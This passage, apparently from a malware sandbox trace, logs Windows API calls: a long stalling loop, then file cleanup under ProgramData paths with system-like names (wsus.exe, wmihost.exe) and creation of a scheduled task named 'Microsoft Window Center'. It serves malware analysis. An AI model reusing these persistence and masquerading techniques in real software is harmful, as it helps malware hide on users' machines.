lphActCtx=0x0) returned 0 [0069.857] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.857] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.857] GetLastError () returned 0x6 [0069.857] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.857] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.857] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.857] GetLastError () returned 0x6 [0069.857] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.857] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.857] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.857] GetLastError () returned 0x6 [0069.857] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.857] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.857] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.857] GetLastError () returned 0x6 [0069.857] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.857] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.857] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.857] GetLastError () returned 0x6 [0069.857] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.857] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.857] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.857] GetLastError () returned 0x6 [0069.857] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.857] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.857] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.857] GetLastError () returned 0x6 [0069.857] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.857] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.858] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.858] GetLastError () returned 0x6 [0069.858] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.858] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.858] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.858] GetLastError () returned 0x6 [0069.858] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.858] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.858] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.858] GetLastError () returned 0x6 [0069.858] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.858] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.858] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.858] GetLastError () returned 0x6 [0069.858] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.858] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.858] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.858] GetLastError () returned 0x6 [0069.858] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.858] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.858] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.858] GetLastError () returned 0x6 [0069.858] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.858] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.858] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.858] GetLastError () returned 0x6 [0069.858] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.858] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.858] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.858] GetLastError () returned 0x6 [0069.858] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.858] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.858] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.858] GetLastError () returned 0x6 [0069.858] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.858] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.858] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.858] GetLastError () returned 0x6 [0069.858] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.859] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.859] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.859] GetLastError () returned 0x6 [0069.859] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.859] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.859] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.859] GetLastError () returned 0x6 [0069.859] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.859] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.859] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.859] GetLastError () returned 0x6 [0069.859] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.859] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.859] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.859] GetLastError () returned 0x6 [0069.859] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.859] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.859] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.859] GetLastError () returned 0x6 [0069.859] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.859] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.859] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.859] GetLastError () returned 0x6 [0069.859] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.859] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.859] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.859] GetLastError () returned 0x6 [0069.859] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.859] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.859] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.859] GetLastError () returned 0x6 [0069.859] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.859] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.859] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.859] GetLastError () returned 0x6 [0069.859] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.860] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.860] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.860] GetLastError () returned 0x6 [0069.860] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.860] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.860] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.860] GetLastError () returned 0x6 [0069.860] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.860] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.860] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.860] GetLastError () returned 0x6 [0069.860] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.860] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.860] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.860] GetLastError () returned 0x6 [0069.860] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.860] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.860] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.860] GetLastError () returned 0x6 [0069.860] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.860] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.860] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.860] GetLastError () returned 0x6 [0069.860] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.860] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.860] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.860] GetLastError () returned 0x6 [0069.860] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.860] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.860] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.860] GetLastError () returned 0x6 [0069.860] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.860] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.860] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.860] GetLastError () returned 0x6 [0069.860] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.860] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.860] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.860] GetLastError () returned 0x6 [0069.861] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.861] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.861] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.861] GetLastError () returned 0x6 [0069.861] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.861] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.861] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.861] GetLastError () returned 0x6 [0069.861] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.861] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.861] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.861] GetLastError () returned 0x6 [0069.861] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.861] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.861] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.861] GetLastError () returned 0x6 [0069.861] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.861] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.861] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.861] GetLastError () returned 0x6 [0069.861] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.861] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.861] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.861] GetLastError () returned 0x6 [0069.861] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.861] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.861] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.861] GetLastError () returned 0x6 [0069.861] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.861] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.861] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.861] GetLastError () returned 0x6 [0069.861] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.861] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.861] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.861] GetLastError () returned 0x6 [0069.861] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.862] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.862] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.862] GetLastError () returned 0x6 [0069.862] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.862] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.862] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.862] GetLastError () returned 0x6 [0069.862] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.862] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.862] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.862] GetLastError () returned 0x6 [0069.862] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.862] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.862] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.862] GetLastError () returned 0x6 [0069.862] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.862] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.862] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.862] GetLastError () returned 0x6 [0069.862] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.862] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.862] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.862] GetLastError () returned 0x6 [0069.862] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.862] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.862] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.862] GetLastError () returned 0x6 [0069.862] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.862] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.862] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.862] GetLastError () returned 0x6 [0069.862] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.862] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.862] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.862] GetLastError () returned 0x6 [0069.862] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.863] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.863] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.863] GetLastError () returned 0x6 [0069.863] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.863] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.863] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.863] GetLastError () returned 0x6 [0069.863] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.863] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.863] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.863] GetLastError () returned 0x6 [0069.863] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.863] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.863] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.863] GetLastError () returned 0x6 [0069.863] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.863] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.863] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.863] GetLastError () returned 0x6 [0069.863] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.863] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.863] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.863] GetLastError () returned 0x6 [0069.863] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.863] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.863] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.863] GetLastError () returned 0x6 [0069.863] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0069.863] GetModuleHandleA (lpModuleName="kernel32") returned 0x75440000 [0069.863] GetHandleInformation (in: hObject=0x75440000, lpdwFlags=0x0 | out: lpdwFlags=0x0) returned 0 [0069.863] GetLastError () returned 0x6 [0069.863] GetCurrentActCtx (in: lphActCtx=0x0 | out: lphActCtx=0x0) returned 0 [0070.268] RtlDecodeSystemPointer (Pointer=0x0) returned 0xaae5b3ba [0070.268] GetCurrentProcessId () returned 0x814 [0070.268] GetLastError () returned 0x57 [0070.268] GetModuleHandleW (lpModuleName="KERNEL32.dll") returned 0x75440000 [0070.268] GetProcAddress (hModule=0x75440000, lpProcName="CreateProcessA") returned 0x75451072 [0070.268] ReadProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x75451072, lpBuffer=0x18ff2b, nSize=0x1, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18ff2b*, lpNumberOfBytesRead=0x0) returned 1 [0070.268] LoadLibraryA (lpLibFileName="kernel32") returned 0x75440000 [0070.268] GetProcAddress (hModule=0x75440000, lpProcName="QueryPerformanceFrequency") returned 0x754541f0 [0070.268] GetProcAddress (hModule=0x75440000, lpProcName="QueryPerformanceCounter") returned 0x75451725 [0070.269] GetProcAddress (hModule=0x75440000, lpProcName="IsBadCodePtr") returned 0x75472b34 [0070.269] QueryPerformanceFrequency (in: lpFrequency=0x18f2a8 | out: lpFrequency=0x18f2a8) returned 1 [0070.269] QueryPerformanceCounter (in: lpPerformanceCount=0x18f2a0 | out: lpPerformanceCount=0x18f2a0*=503661956) returned 1 [0070.287] SHGetSpecialFolderPathA (in: hwnd=0x0, pszPath=0x18f1b8, csidl=35, fCreate=0 | out: pszPath="C:\\ProgramData") returned 1 [0070.403] GetLastError () returned 0x3f0 [0070.403] SetLastError (dwErrCode=0x3f0) [0070.403] GetLastError () returned 0x3f0 [0070.403] SetLastError (dwErrCode=0x3f0) [0070.403] GetLastError () returned 0x3f0 [0070.404] SetLastError (dwErrCode=0x3f0) [0070.404] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x18c8c8 | out: lpMode=0x18c8c8) returned 0 [0070.404] WriteFile (in: hFile=0xfffffffe, lpBuffer=0x18c8f4, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x18c8d4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c8d4, lpOverlapped=0x0) returned 0 [0070.404] GetLastError () returned 0x6 [0070.404] GetLastError () returned 0x6 [0070.404] SetLastError (dwErrCode=0x6) [0070.404] GetLastError () returned 0x6 [0070.404] SetLastError (dwErrCode=0x6) [0070.404] wsprintfA (in: param_1=0x18e790, param_2="%s\\AMMYY\\wmihost.exe" | out: param_1="C:\\ProgramData\\AMMYY\\wmihost.exe") returned 32 [0070.404] wsprintfA (in: param_1=0x18e998, param_2="%s\\AMMYY\\settings3.bin" | out: param_1="C:\\ProgramData\\AMMYY\\settings3.bin") returned 34 [0070.404] wsprintfA (in: param_1=0x18eda8, param_2="%s\\Foundation\\wmites.exe" | out: param_1="C:\\ProgramData\\Foundation\\wmites.exe") returned 36 [0070.404] wsprintfA (in: param_1=0x18e588, param_2="%s\\Foundation\\settings3.bin" | out: param_1="C:\\ProgramData\\Foundation\\settings3.bin") returned 39 [0070.404] wsprintfA (in: param_1=0x18eba0, param_2="%s\\Foundation1\\wmites.exe" | out: param_1="C:\\ProgramData\\Foundation1\\wmites.exe") returned 37 [0070.404] wsprintfA (in: param_1=0x18f0b4, param_2="%s\\Foundation1\\settings3.bin" | out: param_1="C:\\ProgramData\\Foundation1\\settings3.bin") returned 40 [0070.404] wsprintfA (in: param_1=0x18efb0, param_2="%s\\Microsoft\\wsus.exe" | out: param_1="C:\\ProgramData\\Microsoft\\wsus.exe") returned 33 [0070.404] wsprintfA (in: param_1=0x18eeac, param_2="%s\\Microsoft\\settings3.bin" | out: param_1="C:\\ProgramData\\Microsoft\\settings3.bin") returned 38 [0070.404] DeleteFileA (lpFileName="C:\\ProgramData\\AMMYY\\wmihost.exe" (normalized: "c:\\programdata\\ammyy\\wmihost.exe")) returned 0 [0070.404] DeleteFileA (lpFileName="C:\\ProgramData\\AMMYY\\settings3.bin" (normalized: "c:\\programdata\\ammyy\\settings3.bin")) returned 0 [0070.404] DeleteFileA (lpFileName="C:\\ProgramData\\Foundation\\wmites.exe" (normalized: "c:\\programdata\\foundation\\wmites.exe")) returned 0 [0070.405] DeleteFileA (lpFileName="C:\\ProgramData\\Foundation\\settings3.bin" (normalized: "c:\\programdata\\foundation\\settings3.bin")) returned 0 [0070.405] DeleteFileA (lpFileName="C:\\ProgramData\\Foundation1\\wmites.exe" (normalized: "c:\\programdata\\foundation1\\wmites.exe")) returned 0 [0070.405] DeleteFileA (lpFileName="C:\\ProgramData\\Foundation1\\settings3.bin" (normalized: "c:\\programdata\\foundation1\\settings3.bin")) returned 0 [0070.405] DeleteFileA (lpFileName="C:\\ProgramData\\Microsoft\\wsus.exe" (normalized: "c:\\programdata\\microsoft\\wsus.exe")) returned 0 [0070.405] DeleteFileA (lpFileName="C:\\ProgramData\\Microsoft\\settings3.bin" (normalized: "c:\\programdata\\microsoft\\settings3.bin")) returned 0 [0070.405] wsprintfA (in: param_1=0x18eca4, param_2="%s\\Settings" | out: param_1="C:\\ProgramData\\Settings") returned 23 [0070.405] wsprintfA (in: param_1=0x18ea9c, param_2="%s\\Microsoft\\Enc" | out: param_1="C:\\ProgramData\\Microsoft\\Enc") returned 28 [0070.405] wsprintfA (in: param_1=0x18e894, param_2="%s\\AMMYY" | out: param_1="C:\\ProgramData\\AMMYY") returned 20 [0070.405] wsprintfA (in: param_1=0x18e68c, param_2="%s\\Foundation" | out: param_1="C:\\ProgramData\\Foundation") returned 25 [0070.405] wsprintfA (in: param_1=0x18e484, param_2="%s\\Foundation1" | out: param_1="C:\\ProgramData\\Foundation1") returned 26 [0070.405] RemoveDirectoryA (lpPathName="C:\\ProgramData\\Settings" (normalized: "c:\\programdata\\settings")) returned 0 [0070.405] RemoveDirectoryA (lpPathName="C:\\ProgramData\\Microsoft\\Enc" (normalized: "c:\\programdata\\microsoft\\enc")) returned 0 [0070.405] RemoveDirectoryA (lpPathName="C:\\ProgramData\\AMMYY" (normalized: "c:\\programdata\\ammyy")) returned 0 [0070.406] RemoveDirectoryA (lpPathName="C:\\ProgramData\\Foundation" (normalized: "c:\\programdata\\foundation")) returned 0 [0070.406] RemoveDirectoryA (lpPathName="C:\\ProgramData\\Foundation1" (normalized: "c:\\programdata\\foundation1")) returned 0 [0070.406] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x76140000 [0070.406] IsUserAnAdmin () returned 0 [0070.406] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x76140000 [0070.406] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18f5dc, csidl=35, fCreate=0 | out: pszPath="C:\\ProgramData") returned 1 [0070.406] wsprintfW (in: param_1=0x18f7e4, param_2="%s\\Settings\\wsus.exe" | out: param_1="C:\\ProgramData\\Settings\\wsus.exe") returned 32 [0070.406] wsprintfW (in: param_1=0x18f3d4, param_2="%s\\Settings" | out: param_1="C:\\ProgramData\\Settings") returned 23 [0070.406] GetUserNameW (in: lpBuffer=0x18ee10, pcbBuffer=0x18f238 | out: lpBuffer="qj4SUKboE", pcbBuffer=0x18f238) returned 1 [0070.410] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0070.411] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0070.417] CoCreateInstance (in: rclsid=0x412d2c*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x412b1c*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x18f294 | out: ppv=0x18f294*=0x3728b0) returned 0x0 [0070.752] TaskScheduler:ITaskService:Connect (This=0x3728b0, serverName=0x18edc4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x10, varVal1=0x0, varVal2=0x8aed48), user=0x18edd4*(varType=0x0, wReserved1=0x0, wReserved2=0xed48, wReserved3=0x8a, varVal1=0x18f228, varVal2=0x775fe003), domain=0x18ede4*(varType=0x0, wReserved1=0x18, wReserved2=0xff78, wReserved3=0x18, varVal1=0x764f88d5, varVal2=0x8aebf8), password=0x18edf4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0xffffffff)) returned 0x0 [0070.755] TaskScheduler:ITaskService:GetFolder (in: This=0x3728b0, Path="\\", ppFolder=0x18f298 | out: ppFolder=0x18f298*=0x372918) returned 0x0 [0070.760] ITaskFolder:DeleteTask (This=0x372918, Name="Microsoft Window Center", flags=0) returned 0x80070002 [0070.761] TaskScheduler:ITaskService:NewTask (in: This=0x3728b0, flags=0x0, ppDefinition=0x18f29c | out: ppDefinition=0x18f29c*=0x372978) returned 0x0 [0070.763] TaskScheduler:IUnknown:Release (This=0x3728b0) returned 0x1 [0070.763] ITaskDefinition:get_RegistrationInfo (in: This=0x372978, ppRegistrationInfo=0x18f268 | out: ppRegistrationInfo=0x18f268*=0x372a38) returned 0x0 [0070.763] IRegistrationInfo:put_Author (This=0x372a38, Author="qj4") returned 0x0 [0070.763] IUnknown:Release (This=0x372a38) returned 0x1 [0070.763] ITaskDefinition:get_Settings (in: This=0x372978, ppSettings=0x18f280 | out: 